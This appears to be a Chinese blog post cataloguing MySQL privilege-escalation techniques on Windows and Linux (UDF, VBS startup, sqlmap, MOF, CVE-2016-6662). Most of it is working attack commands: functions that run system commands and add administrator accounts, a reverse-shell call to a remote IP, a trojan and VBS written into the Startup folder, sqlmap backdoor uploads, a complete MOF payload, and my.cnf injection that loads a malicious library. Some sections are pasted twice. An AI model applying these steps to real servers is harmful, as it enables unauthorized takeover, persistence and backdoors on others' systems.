mysql的几种提权方式

mysql的几种提权方式

记录防丢失

Windows

UDF提权

在windows下存在一个叫做动态链接库的东西,俗称DLL。该文件会把程序代码中使用的函数编译成机器码,保存在DLL文件中;在编译时,编译器不会把函数的机器码复制到可执行文件EXE中,而是在EXE执行文件中说明索要调用的函数在哪个DLL文件中,程序在执行时会自动从DLL文件中调用指定的函数

在不同的操作系统上,UDF提权的整体思路是一致的,只是函数调用的方式或者说文件生成的形式所有区别

Windows下的udf.dll可以在sqlmap下的sqlmap\udf\mysql\下,选择操作系统及其相应的位数,其中存放着相应的DLL文件,SQLMAP为了防止被杀,需要使用命令python cloak.py -d -i DLL文件路径生成相应的DLL文件

附上lib_mysqludf_sys的利用方式

UDF提权大致思路如下:
将含有cmd函数的DLL文件写入指定文件夹下
基于第一步的DLL文件创建自定义函数
基于第二步得到的自定义函数调用相应的函数,传入参数,执行系统命令(该命令执行权限为system)
UDF利用条件

1、MYSQL版本大于5.1:DLL文件必须放置在MYSQL安装目录下的lib\plugin目录下
2、MYSQL版本小于5.1大于5.0:在Windows2003下DLL文件放置于C:\windows\system32;在windows2000下DLL文件放置于C:\winnt\system32
3、MYSQL版本小于5.0:DLL文件可任意放置 MYSQL数据库用户具有创建和删除函数的权限 DLL文件有写入指定目录的权限

UDF利用方式

查看plugin目录

加载失败可先尝试删除原有的扩展名:delete from mysql.func where name=‘cmdshell‘;

> show variables like '%plugin%';
>
> select @@plugin_dir;

写入DLL文件

    MYSQL大于5.1情况下,可能默认不存在plugin目录,因此可利用NTFS ADS流创建plugin目录

    先查找MYSQL目录:
select @@basedir;
     再创建lib目录:

    select ‘It is dll‘ into dumpfile ‘MYSQL目录\\lib::$INDEX_ALLOCATION‘;

    最后创建plugin目录:

    select ‘It is dll‘ into dumpfile ‘MYSQL目录\\lib\\plugin::$INDEX_ALLOCATION‘;

通过webshell上传DLL至plugin目录下
使用udf.php工具写入DLL文件

创建自定义函数

常见函数如下:

> cmdshell 执行cmd;
> 
> downloader 下载者,到网上下载指定文件并保存到指定目录;
> 
> open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
> 
> backshell 反弹Shell;
> 
> ProcessView 枚举系统进程;
> 
> KillProcess 终止指定进程;
> 
> regread 读注册表;
> 
> regwrite 写注册表;
> 
> shut 关机,注销,重启;
> 
> about 说明与帮助函数;

常见利用方式:

执行系统命令
根据udf.dll创建自定义函数cmdshell;
create function cmdshell returns string soname 'udf.dll';
执行cmd命令(创建新用户);
select cmdshell('net user waitalone waitalone.cn /add');
select cmdshell('net localgroup administrators waitalone /add');
删除自定义函数;
drop function cmdshell; 
delete from mysql.func where name='cmdshell';

反弹shell

create function backshell returns string soname 'udf.dll';
select backshell("remote_ip",remote_port);

VBS提权
利用MYSQL数据库创建启动项

创建临时表a,cmd为字段
create table a (cmd text);
通过MYSQL获取系统高权限(后续补充,0表示不弹出窗口)
insert into a values ("set wshshell=createobject('wscript.shell')");
insert into a values ("a=wshshell,run('cmd.exe /c net user user1 password1 /add',0)");
insert into a values ("b=wshshell.run('cmd.exe /c net localgroup administrators user1 /add',0)");
 写入到启动项中
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

利用MYSQL数据库创建启动项,直接写16进制木马(dumpfile与outfile有所区别)

create table a (cmd BLOB);
insert into a values (CONVERT(木马的16进制代码,CHAR));
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\payload.exe'
drop table a;

sqlmap提权
本质上sqlmap提权其实就是UDF提权,但某些情况下,无法获取MYSQL数据库的用户名密码,如:SQL注入,这时SQLMAP会帮上忙

前提条件:存在SQL注入,且MYSQL用户对应的密码复杂度较高,无法获取其明文密码,或者MYSQL无法远程连接
上传提权所需的文件,可指定文件存放位置
python sqlmap.py -u "http://ip:port/path" --file-write=本地文件路径 --file-dest=目标文件路径
 激活sys_exec函数,用于执行系统命令(这一步骤与UDF步骤完全一致)
python sqlmap.py -u "http://ip:port/path" --sql-shell 
上传后门
python sqlmap.py -u "http://ip:port/path" --file-write=本地木马文件路径 --file-dest=目标文件路径

MOF提权
MOF文件是MYSQL数据库的扩展文件(c:/windows/system32/wbem/mof/nullevt.mof),其作用是每隔5秒该文件就会去监控进程的创建和死亡

1、提权原理

MOF文件每隔5秒就会执行,且执行命令时的权限为系统权限,如果通过MYSQL将MOF文件替换,那么系统就会每隔5秒执行MOF文件,MOF文件中存在一段VBS脚本,因此控制VBS脚本内容变成让系统执行命令,进而提权

2、利用条件

Windows <= 2003
MYSQL对c:/windows/system32/wbem/mof目录有写入权限
已知MYSQL数据的账号密码

3、利用方式

test.mof (此处借助wscrript.shell执行系统命令)

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
    Consumer = $Consumer;
    Filter = $EventFilter;
};

通过webshell等方式将MOF文件上传至任意目录

通过outfile将MOF文件写入到执行目录下

select load_file("当前MOF文件路径") into dumpfile "指定MOF文件路径";

Linux
UDF提权

原理和Windows下的UDF提权一致,一句话总结:通过log写my.cnf配置文件,设置恶意so库文件,重启MYSQL使恶意库文件生效,进而执行任意代码

1、获取plugin目录路径

show variables like ‘%plugin%’;
select @@plugin_dir;
2、制作Linux下恶意so文件
3、将恶意so文件中的内容写入到MYSQL库目录

可在本地先将so文件导出成包含16进制字符串的txt文本
select hex(load_file("so文件路径")) into outfile "目的txt文件路径"
select unhex("16进制字符串") into dumpfile("plugin目录路径");

4、创建自定义函数

 create function sys_eval returns soname "mysqludf.so"; select
 sys_eval("whoami");

CVE-2016-6662
MYSQL 0Day漏洞:攻击者在仅拥有SELECT/FILE的权限下,利用此漏洞实现ROOT提权,执行任意代码,进而控制服务器

1、利用原理

MySQL的默认安装包里面包含一个脚本mysqld_safe,它被用来启动MySQL服务。mysqld_safe脚本是以root权限启动的,而数据库守护进程mysqld是用较低权限的mysql用户启动的。mysqld_safe脚本中存在一个参数malloc-lib,该参数会引导MYSQL服务加载时,预加载一个库文件,该参数同样可以在MYSQL默认配置文件my.cnf中指定,如:[mysqld]或者[mysqld_safe]。该漏洞的本质是攻击者通过log函数利用不恰当的权限改写MYSQL的配置文件my.cnf,将恶意的文件路径插入到配置文件my.cnf中,从而加载恶意库文件,当mysql服务重启时,就能以root权限执行任意代码
2、利用条件

攻击者必须拥有MYSQL的SQL-SHELL,以实现my.cnf的附写
攻击者必须能促使MYSQL服务重启
3、利用细节

通过SQL注入等手段获取SQL-SHELL

通过文件上传或DUMPFILE命令将恶意malloc_lib共享文件上传到目标服务器

select unhex("so文件对应的十六进制字符串") into dumpfile "目标so文件路径"

覆写MYSQL配置文件my.cnf

set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select  ' 
'> 
'> ; injected config entry 
'> 
'> [mysqld] 
'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so 
'> 
'> [separator] 
'> 
'> ';
set global general_log = off;

以此通过log函数在my.cnf后

执行任意命令

执行系统命令
根据udf.dll创建自定义函数cmdshell
create function cmdshell returns string soname 'udf.dll';
执行cmd命令(创建新用户)
select cmdshell('net user waitalone waitalone.cn /add');
select cmdshell('net localgroup administrators waitalone /add');
删除自定义函数
drop function cmdshell; 
delete from mysql.func where name='cmdshell';


反弹shell
create function backshell returns string soname 'udf.dll';
select backshell("remote_ip",remote_port);

重启MYSQL服务,触发恶意库文件执行

CVE-2016-6663:条件竞争漏洞提权
CVE-2016-6664:权限提升漏洞
常见的MYSQL命令(持续更新)

如果是本地MYSQL,可直接执行系统命令
system command
查看plugin目录
select @@plugin_dir;
show variables like "%plugin%";
查看log相关环境变量
show variables like "%general_log_file%";
show variables like "%general_log%";

你可能感兴趣的:(mysql,提权)